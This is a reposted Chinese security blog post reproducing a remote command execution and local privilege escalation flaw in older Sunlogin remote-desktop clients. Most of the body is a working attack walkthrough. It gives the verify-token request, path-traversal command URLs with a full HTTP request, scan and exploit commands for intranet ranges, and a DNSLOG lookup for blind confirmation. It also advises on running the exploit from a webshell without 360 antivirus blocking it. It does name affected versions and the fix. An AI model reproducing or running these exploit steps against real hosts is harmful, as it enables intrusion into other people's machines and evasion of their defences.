低版本向日葵RCE/LPE漏洞复现

技术

0x01 前言

2022年2月14日 @孙德胜 师傅在他团队公众号发布了一篇"向日葵远程命令执行漏洞复现"的文章,但只有一张复现的动态图,没有具体细节。

隔天 @Sp4ce 师傅就对这个漏洞进行了研究,并记录了这个远程命令执行漏洞的整个分析过程,太牛了。picture.image

0x02 影响版本

向日葵个人版≤11.0.0.33 (包括绿色版和安装版),已测试存在远程命令执行漏洞的一些版本如下,目前官方已经发布了漏洞修复程序,只需将向日葵升级至最新版即可。


            
11.1.1
            
10.3.0.27372
            
10.5.0.29613
            
11.0.0.32806
            
11.0.0.33162
        

picture.image

0x03 漏洞复现

复现这个漏洞用的是@Automne师傅改的利用工具,添加了存活主机探测、网段扫描和并发优化等功能,项目地址: https://github.com/ce-automne/SunloginRCE

这篇文章只是简单记录了下这个工具的实现原理、使用方法和在实战中可能会遇到的利用场景及问题等。

工具参数说明


          
Usage of sunRce.exe:
          
  -c string      //执行命令
          
        Input Cmd Command
          
  -h string      //IP或IP段
          
        IP Address: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
          
  -n int        //扫描线程
          
        Set Scan Threads (default 600)
          
  -p string      //指定端口
          
        Ports Range: 50000 | 40000-65535 | 49440,51731,52841 (default "50000")
          
  -t string      //攻击类型
          
        Choose Attack Type: scan | rce
      

工具原理

通过ICMP协议方式对内网主机进行存活探测,多线程扫描存活主机40000-65535端口,将存在向日葵指纹特征的主机IP和端口打印出来,然后再按照以下流程获取Verify认证->RCE远程命令执行,如下图所示。

1. 获取指纹特征


          
http://192.168.1.103:58774/
          
{"success":false,"msg":"Verification failure"}
      

picture.image

2. 获取Verify认证


          
http://192.168.1.103:58774/cgi-bin/rpc?action=verify-haras
          
{"__code":0,"enabled":"1","verify_string":"CB6FOvb5t7iFoiMq3OlWrpe1Ag69nk8I","code":0}
      

picture.image

3. RCE远程命令执行(+Verify)


          
http://192.168.1.103:58774/check?cmd=ping../../../../../../../../../../../windows/system32/whoami
          
http://192.168.1.103:58774/check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+net+user
          

          
GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+net+user HTTP/1.1
          
Host: 192.168.1.103:58774
          
Pragma: no-cache
          
Cache-Control: no-cache
          
Upgrade-Insecure-Requests: 1
          
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
          
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
          
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
          
Cookie: CID=CB6FOvb5t7iFoiMq3OlWrpe1Ag69nk8I
          
Connection: close
      

picture.image

(1) RCE远程命令执行

当我们已经拿到内网任意一台主机权限时就可以利用这个工具来扫描整个内网IP段,如果这个IP段中还有人在使用 低版本向日葵时就有可能遭受到攻击,如下图所示。


          
sunRce.exe -h 192.168.1.100-103 -t scan -p 40000-65535 -n 2000
          
sunRce.exe -h 192.168.1.103 -t rce -p 58774 -c whoami
      

picture.image

不过在测试内网另一台主机时发现利用这个工具执行命令没有回显,看来还是存在些BUG,BurpSuite手动测试没有问题,也能通过>重定向符将命令执行结果写进文件,如下图所示。

picture.image

如果实战中遇到这种场景,我们可以先用DNSLOG看下是否能够收到数据,可以则说明存在这个漏洞,并且是可以执行命令的,本地测试中接收不到数据时可尝试更换DNS,如下图所示。


        
            

          sunRce.exe -h 192.168.1.100 -t rce -p 51408 -c "nslookup ****of.dnslog.cn"
        
      

picture.image

注: 如果目标服务器(外/内网)安装的有低版本向日葵时也可以直接用公网IP来进行扫描和利用,因为向日葵开放的端口绑定在 0.0.0.0127.0.0.1 回环地址, 0.0.0.0 本机上的所有IPV4地址。

picture.image

(2) LPE本地特权提升

这个漏洞不仅可以RCE远程命令执行,也可以LPE本地特权提升,不过在利用这个工具在Webshell提权时会出现乱码,即使作者用了 mahonia 库也一样(UTF-8、GB2312),但不影响使用,如下图所示。


          
sunRce.exe -h 127.0.0.1 -p 40000-65535 -t scan -n 2000
          
sunRce.exe -h 127.0.0.1 -t rce -p 59582 -c whoami
      

picture.image

注: 如果直接用中国菜刀这类网站管理工具的虚拟终端去执行这个利用工具的话可能会被360安全卫士的进程防护功能给拦截,如下图所示,不过可以用上边这种执行方式来进行绕过,不会被360拦截。

picture.image

Github上还看到 @Ryze-T 师傅写的一个LPE本地特权提升的项目,通过正则匹配方式在向日葵安装路径log目录下的 sunlogin\_service.xxx.log 日志文件来查找端口,然后获取Verify认证->127.0.0.1命令执行,如下图所示。


        
            

          C:\ProgramData\sunloginLPE.exe "whoami" "C:\ProgramData\Oray\SunloginClient"
        
      

picture.image

优点: 不用再去扫描端口,弊端: 安装路径权限问题,虽然能手动指定向日葵安装路径,但如果管理员对磁盘目录做了权限设置,就会因权限问题而无法读取日志文件获取端口,最终导致无法利用,如下图所示。

picture.image

LPE本地特权提升的项目地址:

https://github.com/Ryze-T/CNVD-2022-10270-LPE

以上转自:潇湘信安,侵权删!

推荐阅读

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看 picture.image

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
火山引擎大规模机器学习平台架构设计与应用实践
围绕数据加速、模型分布式训练框架建设、大规模异构集群调度、模型开发过程标准化等AI工程化实践,全面分享如何以开发者的极致体验为核心,进行机器学习平台的设计与实现。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论